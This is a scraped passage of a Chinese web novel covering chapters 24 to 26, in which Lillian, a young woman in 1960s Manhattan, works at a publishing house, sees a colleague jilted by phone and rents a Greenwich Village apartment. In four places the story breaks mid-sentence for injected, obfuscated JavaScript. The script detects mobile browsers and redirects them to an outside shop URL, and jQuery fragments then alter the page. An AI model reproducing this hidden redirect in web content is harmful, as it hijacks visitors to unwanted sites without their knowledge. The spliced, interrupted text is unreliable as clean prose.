“因为花钱的地方太多了。”‘资深纽漂’格蕾丝翻了个白眼:“亲爱的,我们总不可能只租房子,对吧?我们还得缴纳水电费、燃气费
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683109|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、电话费,得吃饭,得穿衣服,得买口红香水、得每天搭车——太多花费了,光是伙食费我每礼拜就要20块左右了!”
“好吧,这太有道理了!”丽莲点点头被说服。她其实也不是考虑不到这些,不过知道和现实例子之间还是有一段距离的。
格蕾丝这才接着说:“总之,你得知道,这种房间、这样的价格在曼哈顿已经很便宜了,除非你愿意住到一些危险的区域——其实哪怕楼上的房间没有租出去,你就租在这儿,也很难以75美元一个月租下。我是两年前就租下这里了,一直还延续着之前的租约。”
“虽然纽约的房东总爱涨价,但没有一个说得过去的理由,也是没办法随便涨的。”
格蕾丝还解释说:“我之前看了电影《桃.色公寓》,一度担心房东太太像电影里男主角的房东一样,给我们的房间装上冷气机,那可真是个涨房租的好理由。不过好在她没有那个想法,毕竟冷气机很贵,而且这样的旧公寓装的冷气机太多了,好像还要更新电路,那也是不小的开销。”
之后在格蕾丝这个‘资深纽漂’的介绍下,丽莲才对纽约曼哈顿的租房市场有了一个相对准确的认知——一间没有单独卧室,但附带厨卫的单身公寓,只要社区比较安全,就要到80美元上下了。
至于《桃.色公寓》里男主人公那种有单独卧室,使用面积远超一般单身公寓,特别是还位于上西区,离中央公园只有半个街区的房子,是绝不可能像电影里说的,只要85美元每月(装冷气机之前是80美元)!
嗯,只能说影视剧一直是这样的,会在某些方面稍显失真。而且哪怕是拍打工人的故事,一个逼仄的房间也不方便呈现故事,所以影视剧主角们的房子普遍会好于人物设定之下该有的档次——尤其《桃.色公寓》的故事,公寓就是一个引子,主角的公寓如果太差,也不至于被上司们看上了。
有了这样一个基本的了解之后,丽莲开始找报纸上的招租信息。将范围圈定在中城区,以及下城区部分区域,很快就能筛选出几个合适的房源...最后她打算这个周末就去看房,尽早搞定这件事,一直住饭店实在太贵了。
24.费比安出版社(6)
怀抱着周末看房的期待,丽莲等到了周五这天,这一天其实和平常没什么两样。除了早上打招呼上她就发现的,法罗小姐比平时更阴晴不定......
“在你走之前,请把这些打出来。”丽莲在一位也在休息的同事工位旁站着,正在拆饼干的包装,就听到法罗小姐将一沓文件交给了卡洛琳,然后冷冰冰说道。
下午时,丽莲走出埃文斯先生的办公室,这会儿有不少同事订的咖啡和面包到了,以支撑他们度过下班前最难熬的下午三四点钟。她倒是没有点下午茶,但她有自带的茶叶、茶杯和袋装曲奇饼干,这个时候也出来喝茶休息一会儿。
法罗小姐差遣卡洛琳这件事本就有些不同寻常——卡洛琳实际并不是她的秘书,之前只是为请假了的格蕾丝替班而已。现在格蕾丝上班了,她连工位都换了!因为那个靠近法罗小姐办公室门的工位本来就是格蕾丝这个专属秘书的。
“我今天为莱斯先生工作。”卡洛琳也的确表明了这一点。
然而编辑差遣秘书是很容易的,除非卡洛琳想要和法罗小姐争吵起来(实际争吵起来,闹到管理层,这件事还是卡洛琳吃亏,只要不是原则性问题,管理层更支持中层才是管理之道),不然只能接受。
实际也是如此,法罗小姐阴阳怪气了几句,暗示了之前卡洛琳读稿并向上反馈了自己意见的事,卡洛琳也就默认了这份强加的工作——卡洛琳做的事不能说是错,但站在法罗小姐的角度,是很有危机感的!
卡洛琳做了她的工作,管理层还更认可卡洛琳......
“我来帮你吧。”晚上下班时,大家陆陆续续走了,卡洛琳还在做法罗小姐给她那份工作,丽莲看到了就提出帮她。反正丽莲今晚没有约会,从费比安出版社到巴比松大饭店都在上城区,也不用担心天黑后的治安,迟一些走也没什么。
法罗小姐交给卡洛琳的工作,是把一沓稿子照着打一份副本出来。
这个时候其实已经有复印机了,历史上复印机发明于三十年代,1949年时有了第一台商业化的复印机。但那时影印文件有着这样那样的缺陷,设备的昂贵也是一个问题,所以有复印文件需求的公司也很少购买复印机。
相比之下,雇佣打字员显然要成本更低、质量更高,还更灵活。
不过去年下半年,新款落地式全自动复印机的诞生,让一切开始发生改变。不只是技术上更好,使得影印文件能够为大家所接受,关键是价格——这款复印机售价是2.7万美元,这当然不便宜,足够此时在好社区买一栋郊区别墅了!
但它还有另一种付款方式,准确地说是‘租’,租的话每个月就只要25美元了,另外每印一张再付4美分。这笔钱对公司来说很值,一个月下来花费不会超过两个打字员的工资,效益却比两个打字员高多了。
不过嘛,到底是去年下半年才有的事,普及需要一个过程。所以即使是曼哈顿这边,很多公司都不了解这种新式复印机,更不要说开始使用了。费比安出版社就是这样的——现在很多复印工作,依旧是打字员和秘书照着一点一点敲出来的。
丽莲就在卡洛琳旁边的工位上坐下,揭开打字机上的防尘罩,分了一份文稿,‘咔哒咔哒’打起字来。
嗯,虽然她进入费比安出版时应聘的不是秘书,所以没人考她最基本的打字,但她的打字速度一点儿不输给商业学校毕业,受过这方面训练的秘书们——这不是因为她写作用的就是打字机,所以练熟了,实际这辈子她碰打字机的次数没几次!
打字机是要钱的,就算机械打字机比较便宜(对比现在办公室用的电动打字机),她一个才开始写中短篇小说的不知名撰稿者,也没有必要用。
她之所以打字飞快,是上辈子作为编剧,用惯了键盘的原因啊——是的,电脑附带的键盘就是从打字机的键位来的,不能说二者一模一样,至少也是相差无几。所以只要上辈子经常打字,能够盲打的,这辈子熟悉英文输入,很快也能跟上。
确认打字机上的色带没问题,丽莲就安上了白纸开始了。
卡洛琳看了一眼,觉得她没问题,便低下头继续卖力打字,想要早点结束这份工作。就在两人努力了不知道多久,保洁员已经在打扫卫生时,电话铃声打破了办公室的空旷与寂静。
响铃的是卡洛琳工位上的电话,她有些奇怪这个时间还有电话打进公司,但还是接了起来:“哈喽?伦敦打来的吗?是的,我是班德。”
对面接线员的话让卡洛琳一下兴奋了起来,因为能在伦敦给她打电话的,她只知道一个,就是她的未婚夫艾迪。
确认身份之后,大概是和打进电话的人接通了,丽莲听到了卡洛琳高兴而不可置信的声音:“艾迪?艾迪!”
丽莲听不到电话对面说了什么,只听到卡洛琳下意识点头:“我很好!你要回来了吗?”
“亲爱的,我太想你了!你说什么——”
那边似乎说了什么,卡洛琳露出了疑惑的表情:“谁——艾迪,我有些听不清你的声音,你再说一遍好吗?”
刚刚写字楼外大概是驶过几辆大卡车,杂音很大。然后对面重复说了一遍,但中间保洁员又大声嚷嚷了一句什么,有些打扰了卡洛琳。
卡洛琳只能喊了一句‘please’,又对电话说:“你说怎么了——艾迪你刚刚说了什么?”
对面再次说话的时候,总算完全安静了。没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16688683|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有经过的大卡车,保洁员没有再大声嚷嚷,就连丽莲都停下了打字。这一次,卡洛琳听的清清楚楚,对面传来自己男友熟悉的、清晰的声音:“我说,我和海伦结婚了,就在今早。”
丽莲亲眼见证了卡洛琳从喜悦到茫然,再到极度失落的恍惚......
她陪了卡洛琳一会儿,卡洛琳什么都没说——丽莲是之后才知道,卡洛琳的未婚夫艾迪在欧洲遇到了以前的一个熟人,一个对他有爱慕之情的女孩。现在人家的父亲发了财,于是她也成了富有的女继承人...他显然是为钱放弃了爱情。
“亲爱的,你还好吗?”度过周末后,新的一周,丽莲和卡洛琳一起吃午餐时,发现她还会时不时发呆,就有些担心地说...说起来,这个时代的女孩好像多了很多选择,又好像根本没得选。
卡洛琳勉强笑了笑:“不会有什么事的,我很快就能忘掉艾迪了。毕竟工作这么多,而且我母亲还介绍了另一个约会对象给我,是她好朋友的儿子......”
虽然是这样说,卡洛琳的痛苦还是明摆着的。不过她大概是有些逃避这次的情伤,所以工作更加努力了。与其说这是希望‘情场失意、职场得意’,不如说是下意识找事做分散注意力。
丽莲也不知道该怎样安慰卡洛琳,不过她倒不觉得卡洛琳现在这种状态是错的——相比起劈了腿的男人,当然还是工作好多了!工作可以带来收入,做的好的话还会有更高的收入、实现自立的未来呢!
丽莲也是这样,她现在其实是有点儿陷入迷茫了。
她现在算是在纽约落脚成功,有了一份此时来说很好的工作,住在巴比松大饭店这样的地方(当然要尽快租房子搬出去),也有了不错的朋友...那么,接下来呢?
如果是一个土生土长的六十年代美国女孩,大概可以松懈下来了,但她不想过普通六十年美国女性的生活,所以不可以——至少,她是要攒大学学费的!至少读大学这件事不会错吧?而要做到这件事,光靠当编辑助理是不行的,即使这份工作的薪资比卡洛琳这些秘书高不少。
丽莲暂时打算通过写小说攒第一桶金,而要写小说,她就得增加自己这方面的实力。不然以当下的水平,想要发表小说,就得像之前一样碰运气。而这还只是杂志上发表一些短篇、中篇故事,这些是没法真正挣到第一桶金的!
想要通过写小说挣第一桶金,还是要发表长篇小说、出单行本!而这,就更不是现在的她能做到的了。
所以她一边日常写作,不管写的怎么样,每天都要坚持写上1000词。然后就是学习了,借助助理编辑这个位置,在埃文斯先生的指导下,摆脱过去毫无章法的写作,迅速成长起来!
25.费比安出版社(7)
又是充实的一天,丽莲结束费比安出版社的工作后,返回了巴比松大饭店。上周周末她去看房,但没有看上的,所以现在还是住在巴比松。不过也就是最后一周了,她下定决心这周末一定要解决租房问题。
毕竟,她能接受的地段、价格是差不多的,而房源就是那些,看来看去其实也就差不多了。时间拖得更长并不一定能让她蹲到‘完美公寓’,更多时候只是浪费时间、浪费金钱而已。
下班后的丽莲依旧在附近餐车买了晚餐,然后回到酒店房间后先洗了澡,才吃下这份已经凉了,不过还能吃的晚饭。之后她就钉在房间小桌前写自己那1000词的故事,写完了才换上家常舒适,但也能见人的棉质连衣裙。
她带着一本新出版的小说去了巴比松大饭店二楼夹层的咖啡厅,她和多萝西约好了在那儿见面。
小说是从费比安出版社拿的,这也算是公司福利?作为出版社,那里最多的就是各种出版物了,小说和杂志数不胜数。只要不是‘孤品’,拿走也就拿走了,如果只是拿去借阅,那就更是随便了。
“亲爱的,这里。”多萝西先到,朝她挥了挥手。
丽莲走过去,上下打量了一遍多萝西:“你今晚没有约会吗?”
多萝西的穿着和她差不多,都是家常舒适的,看起来待会儿不会有约会对象来接。
这对多萝西并不多见,她几乎每晚都有约会,就算没有约会也会和巴比松里一些朋友出去玩,晚上10点之前要在巴比松内找到她是很难的。
这也没办法,多萝西对尽快找到一个合适的结婚对象这件事非常积极。这倒不是她多么憧憬婚姻,实际从丽莲的角度来看,她往婚姻的围城里挤,更多是一种从众。有一种大家都拼命挤,自己不挤就会被落下的恐慌。
“今天吗?今天没有,我觉得太累了,想要休息一下——你敢相信吗?今天一整天我都在应付那个菜鸟摄影师,我猜他不怎么擅长拍我这类模特。”多萝西撇了撇嘴,又喝了一口刚刚端上的香槟:“结束后他居然还想和我约会!”
“哦,放过我吧!现在我只要看到了,就会想到今天一整天的痛苦!拍到最后我简直一点儿信心都没有了,连手往哪里放也不知道。”
“一杯咖啡,加糖加奶。”丽莲对服务生点了点头,点了自己的饮料,这才同情地说:“不合拍的同事?这确实很难让人有约会的想法。”
不一会儿,丽莲的咖啡送上来了,服务生的托盘上,除了咖啡外,还放着几封信,以及一杯莓红色的鸡尾酒。已经认识的服务生将其递给丽莲:“刚刚收发员拿来给您的,她看到您在这儿了。还有这张卡片,来自大厅里的一位先生,他想请您赏光喝一杯。”
那杯莓红色的鸡尾酒就是对方送的,是一杯法式马天尼。
丽莲扫了卡片一眼,是一份邀请,便微笑着摇摇头:“请告诉他,我今晚已经有安排了,非常抱歉。”
这是一个万用的回复,而且也没有说谎,就算她只是呆在自己房间休息,也可以说是‘有安排’吧。
服务生离开后,多萝西忍不住笑了一下:“啊,又是一位想要摘下山巅之花的绅士,对吗?最近大家都在猜测,猜测究竟要怎样的追求者,你才会被打动,至少给他一个机会...你知道有些人怎么说吗?她们都说‘那女孩眼光高的可怕’,显然很多人都认为你将目标放在了真正的百万富翁身上。”
“虽然我知道你不是这个意思,但不得不说,这是合理的猜测...如果是你的话,这看起来并不是什么难事儿。”
‘巴比松大饭店’在纽约是很出名的酒店,因为只接受女客入住(而且特别喜欢‘艺术生’),对男性是禁.区这一点,在男性中尤其容易有诸多遐想。不少有想法的男人,就会在巴比松附近徘徊,而他们来到一楼大堂坐着‘歇脚’也很常见。
一楼大堂大概是男人唯二可以进入的地方之一,而且是无门槛的,不需要一位女客给予访客特权。
而这也是丽莲没有主动去认识男人,依旧每天都有邀请的原因...她一来就被一些好色之徒看在眼里了!
巴比松的女客们,经常视晚餐邀请为个人魅力的标准,在这里住久了,谁每天都有邀请,谁难得被邀请,所有人都能心中有数。而前者就是巴比松这个‘女儿国’的女王、中心人物,后者就仿佛隐形人一样了,即使她们其实住一样的房间,做差不多的工作。
现在一楼大堂和楼上夹层咖啡厅就能看出这一点了,漂亮的、受欢迎的女孩们都坐在显眼的位置,叽叽喳喳、声音都带着一股轻快,仿佛生活中的一切都是美好的。反之,喝茶休息也坐在角落,只能旁观一个个打扮漂亮入时的女孩被约会对象接走。
这种情况也是丽莲想要从巴比松大饭店搬走的原因之一,这里确实给来到纽约的漂亮女孩一定庇护,但很难讲它本身是不是一个被男性凝视的典型范例(不管其出发点是怎样的,当下面临的现实确实如此),身处其间的女性也不自觉被扭曲了。
“哦,别说这个,这总让我觉得‘轻松的人生’唾手可得,一不小心就要陷入深渊了。”丽莲露出了一个抗拒的表情。
对此多萝西有些不置可否:“我知道,亲爱的你是那一派...最漂亮的姑娘总是容易这样,回避通过美貌就能轻易得到手的东西。不过你也得承认,这年头,一个女孩只能通过美貌获得一些东西是可悲的,但如果连美貌都没有,那就是另一种可悲了。”
丽莲也承认多萝西说的是对的,有才华的人始终是少数,在这个女性声音很难被听到的时代,没有才华的普通
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16694334|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女性,如果连美貌也没有,就会陷入‘失语’。她们当然不会被厌恶,只是会不被看见而已...无论她们是温柔顺从的旧式家庭主妇,还是在这个时代十字路口,想要挣脱的叛逆之人,大家都不在乎。
带着这样的复杂难解,丽莲第二天又继续自己的看房之旅——今天她主要看切尔西地区的房源,以及部分下城区的房子。
之前她也看过一些上城区的房子,再就是中城区东部格拉莫西那边了,实在没有合适的。上城区不用说,各方面都很好,就是贵。唯一一所价格勉强能接受的,丽莲亲自去看,发现那栋公寓楼里住了几位‘交际花’,这也导致楼里经常会出现陌生男性......
而格拉莫西的价格也不算便宜了,要么是昂贵的富人区,要么价格过得去,但房子本身状态太差,丽莲看不上。
这个周末现场看房,丽莲先去了切尔西,然而结果却是大失所望——虽然是中城区,虽然在几十年后这里是‘文艺地带’,甚至当下也有不少艺术家居住在这里,但脏乱是真的脏乱。这里好像还是纽约的屠宰中心?有这样的原因,三教九流汇聚,又不少暴力,可以想象是什么情况了。
当然,切尔西也有治安良好的地方,但这次丽莲看的两所房子不属于此列。
再之后丽莲就钻进了下城区,相比起上城区和后世大都市也没什么区别了,下城区倒是让丽莲有后世城乡结合部、城中村的既视感。
她一开始看了翠贝卡的一所公寓和小意大利的一所公寓,前者房子的状态太差,而且周围都是倒闭的工厂,再便宜丽莲也不敢住。后者则是这年头还聚居着大量意大利裔,虽然也不是没有非意大利裔住这边,但丽莲觉得自己没必要亲身体会意大利□□是不是真那么猖獗。
在意识到自己一个非意大利裔在‘小意大利’很显眼后,她就退出来了。
“你的要求太高了,照这样下去,你不如选择布朗克斯的房子?虽然不在曼哈顿,但来岛上也很方便——当然,你也听说过,布朗克斯也有些危险。不过就我所知,只要选择对了社区,也没那么可怕,我就认识一个模特,她是住布朗克斯的。”得知丽莲今天依旧一无所获,多萝西如此劝说。
“而且布朗克斯可比曼哈顿便宜,六七十块在曼哈顿几乎租不到像样的公寓,但在布朗克斯,可挑选余地就大了。别说单身公寓了,就连适合新婚夫妻,或者只有一个年幼孩子的家庭,就是那种一个卧室,但厨房、客厅很大的房子,七十块也完全足够。”
丽莲表示自己听到了这个建议,点点头:“如果明天剩下的房子看完还是不行,我就去布朗克斯看看。”
这也是没办法了...丽莲的预算是月租不超过70块,而在曼哈顿这个价格要租到各方面都能接受的房子是真的很难。
26.费比安出版社(8)
不过有的时候事情就是这样峰回路转,就在丽莲思考曼哈顿可能没有合适的房子,要不要去布朗克斯或者布鲁克林看房时,这周周日的午后,她匆匆吃了点儿果酱面包,去看原定最后一所房子时,意外出现了。
那是一所位于格林威治村的公寓,所在街区在格林威治还是不错的,没什么无业游民,很多都是来纽约工作的外地人,换句话说他们都有工作。或是百老汇的钢琴师,又或者是刚起步的新人画家,当下只能接一些不那么艺术的活儿,同时还有制衣厂的女工、新婚的小夫妻蜗居于此......
公寓所在的房子,和其他几栋房子大致围出了一个方形的天井(边长有70英尺左右)。四角间隙中有三个基本不能通过,只有一个角接着一条小巷,通往外面的街道。这种布局让丽莲觉得很有安全感——当然,前提是房子的门是朝天井开的。
实际只有一面两三栋房子的门是只朝天井开放的,丽莲喜欢这个,除了因为让人有安全感,还因为这排入户门朝天井开窗的公寓,方向是‘坐北朝南’的——纽约也地处北半球,坐北朝南能让夏天少阳光直射、凉爽一些,冬天少受寒冷北风,同时采光也好。
丽莲要看的那所公寓正好在这一排,是一座只有两层的小房子,而且真的很小巧,每层只有两套够单人住的公寓,一套临街,一套临天井,现在租的是二楼临天井的那间。然而丽莲不太满意这间公寓本身,一个是房子太旧了,还有就是除了室内楼梯,它还有楼梯位于户外,从阳台直接通向院子里,让人觉得不安全。
其实纽约的公寓基本都有‘户外楼梯’,其实就是消防梯。但消防梯的楼梯一般都是平常折叠起来的金属爬梯,而且很少通向私人阳台。和这种不论什么时候、谁都可以上的真正楼梯,还是不一样。
就在丽莲以为这次也要失望而归时,他在临街一面的墙上发现了一个租房广告!那座二层小楼旁的红砖公寓楼,里面也有一所公寓要出租——房东似乎不打算在报纸上花钱打广告,只在临街的墙上贴了一张广告了事!
丽莲立刻去打听这间公寓租出去了没有——这栋红砖楼房,上下四层(不算地下室),除了顶层外每层都有四套公寓。房东是一位寡妇,除了她自己住底层靠左临天井的一套,其他就都租出去了,现在招租的是三楼靠左临天井的那套。
广告招贴不久,公寓还没有租出去,房东太太便直接带丽莲去看房。
红砖楼房两侧都有楼梯,两个楼梯不相通,每层两侧公寓的住户要入户也是各走各的。丽莲喜欢这个设计,因为这样更隐私,也就更安全了。
丽莲随着房东太太走上三楼,发现楼梯间朝向天井方向也有窗户,窗外甚至还有一个阳台。不过这个阳台基本没人用,还连着户外消防楼梯。
“庭院和楼梯间的卫生打扫我会做,所以你也看到了,挺干净的,对吧?”房东太太骄傲地向丽莲展示着,然后走到了三楼这间临天井公寓的入户门,挑出钥匙打开了房门。
这样看来,她大概本人兼职了这栋公寓楼的‘管理员’。
“进来瞧瞧吧,之前的住户是一对小夫妻,生了孩子后才搬出去的,这对有孩子的夫妻可能小了点儿。”
丽莲跟着走进了公寓,入户就是厨房...这让她很有亲切感,因为上辈子她就租过这种布局的房子——厨房有一个朝向天井的窗户,窗户下是炉子,炉子一侧还有一个小小的白色水槽。墙上和灶下,储物空间不算大,不过一个单身女孩也够用了。
窗户对面,靠里有一个冰箱,靠门一侧有一个很小的鞋柜,只够放8双鞋子,不过还是那句话,一个人够用了。主要是房子里有冰箱这一点很让人满意,不然丽莲就得自己去弄一个了...虽然二手货大概不会很贵,但多一事不如少一事嘛。
而走过这个1.5m*1.5m的小厨房后,就进入客厅兼卧室了——这是一个3米出头*5米左右的大房间。
靠厨房一侧做了客厅,大概是3米出头*2.5米的空间,这里临天井一面有窗还有门,门通向的是一个小阳台。门窗对面则放着一个旧的双人沙发,窗下正对着沙发的位置是一个圆形餐桌,乳白色铁艺的,直径一米左右,两个人用足够了。
“这儿原本是放电视机的,不过那是之前的租客自己的买的,搬家时都搬走了。如果你也需要电视机,就只能自己弄一台了。”房东太太指了指餐桌里侧的位置。
客厅就是这么简单,至于里面的卧室,做了简单的软隔断——一个衣柜、一个小书柜和一个橱柜连着,衣柜门朝卧室方向,书柜门和橱柜门朝客厅方向,后者除了存杂物,还可以是一个不错的水吧。然后柜子与墙之间就是‘卧室门’了,挂了一串玻璃珠帘下来。
这看起来也是前租客留下来的,那一定是一对颇有生活情趣的小夫妻。可能是因为新房子用不上这个,所以就留下来了?
卧室内很小,除了靠里放了一张偏小的双人床外(附带床头柜),就只有一个小小的梳妆台和一把软包梳妆凳了...比较好的是,这个空间内还有一扇小窗,而不是单纯借客厅的光,所以一点儿也不昏暗。
盥洗室是最后看的,它位于厨房的后方,要从客厅进入,大小和厨房差不多。进去后,右手侧就是马桶,马桶里侧有一个没干湿分离的淋浴区——安装淋浴喷头的墙面上方还有一个很小的窗户,所以这还是个‘明卫’?
盥洗台则是正对着门的,有水槽和带镜子的墙柜,这都没什么好说的......
丽莲看完了这套并不大的公寓,不知道是因为这两个周末看了太多房子已经累了,还是的确合适,心中有一种强烈的‘就是它了’的感觉。只是故作考虑地思索了一会儿,便开口问:“夫人,您还提供别的家具吗?这些看起来有些不够用。”
房东太太随意道:“地下室有个储物间,放了一些用不上的旧家
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16703023|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
具,你可以去找找看,那些都随你使用。如果找不到合适的,就只能你自己购置了。”
丽莲点点头,之后又问了房东太太一些问题,最终才问:“那么,您这儿的租金怎么算呢?”
房东太太想了想说:“看起来你是个很正派的姑娘,这样吧,如果你要租,每月75块就够了。四楼那个房间,各方面都差不多,两个月前租出去的,租给了两个年轻人,也是这个价格——你如果觉得太贵,也可以找一个室友来合租。这样每月不到四十块,就很轻松了。”
丽莲连忙说:“四楼只有两套公寓,另一半完全就是个大阳台,可以和邻居共用,这是个很大的优势!本来就应该贵一些。这个房间收取同样的租金就太不合理了!”
“说实话,如果我愿意出75块租一个没有真正卧室的公寓,就不会来格林威治村了。这样的价格,在更好的社区也能租到差不多的房间。”
这也是实话,之前丽莲看过的房子就有房子本身差不多,但价格比这更低的。只不过看房不只是看房子本身,要综合多重因素,所以她更青睐眼前这个房间——当然,这在砍价的时候就不用提了。
之后又是砍价还价,这方面丽莲不算厉害,砍到她原定的接受范围内(70块),她就和房东太太说定了。房东太太还答应,可以在她做入户大扫除时给她做帮手。
这确实帮大忙了,如果没有房东太太搭把手,很多事都没办法做,或者花的时间会很多——丽莲这天下午就抓紧最后的时间,到最近的一家卖场买了一张床垫(同时还买了床品),然后在床垫送上门前,将卧室的旧床垫搬到了公寓楼地下室的储物间里,并将那张小床里里外外擦的干干净净。
没办法,别的东西用旧货没什么,大不了擦洗干净就好。但床垫本身就是个藏污纳垢的地方,每天还要躺在上面,而且又厚又重根本没办法清洗,要想睡得安心就只能买个新的了。
还有新买的床品,则是送到了附近的洗衣房,还请房东太太明天替自己取回来,这样明天搬家后就能直接使用了。另外她们还一起还擦了已经发白的木地板,并重新打了蜡。
做完这些,丽莲才匆匆返回巴比松酒店,睡了在这里的最后一晚。
“已经租下来了,在格林威治村,地址是第12街、336号楼上。那儿价格还算公道,70块一个月,还要付两个月的租金作为押金...我打算安顿下来后,找个时间办一个入住派对,希望到时你能赏光。”丽莲告知了多萝西自己的新地址,第二天就办理了退房。
她的行李不多,重新收起来也没多少,第二天一早退房之后,行李就先存在了多萝西房间,晚上下班后才带上行李打车到了新住址。这个时候天还没黑,她打包了一个三明治,吃完后就开始了一场大扫除!
就这样一口气干到了晚上11点,算是大致干完了——其实还有一些细节,不过丽莲可以接下来几天自己做。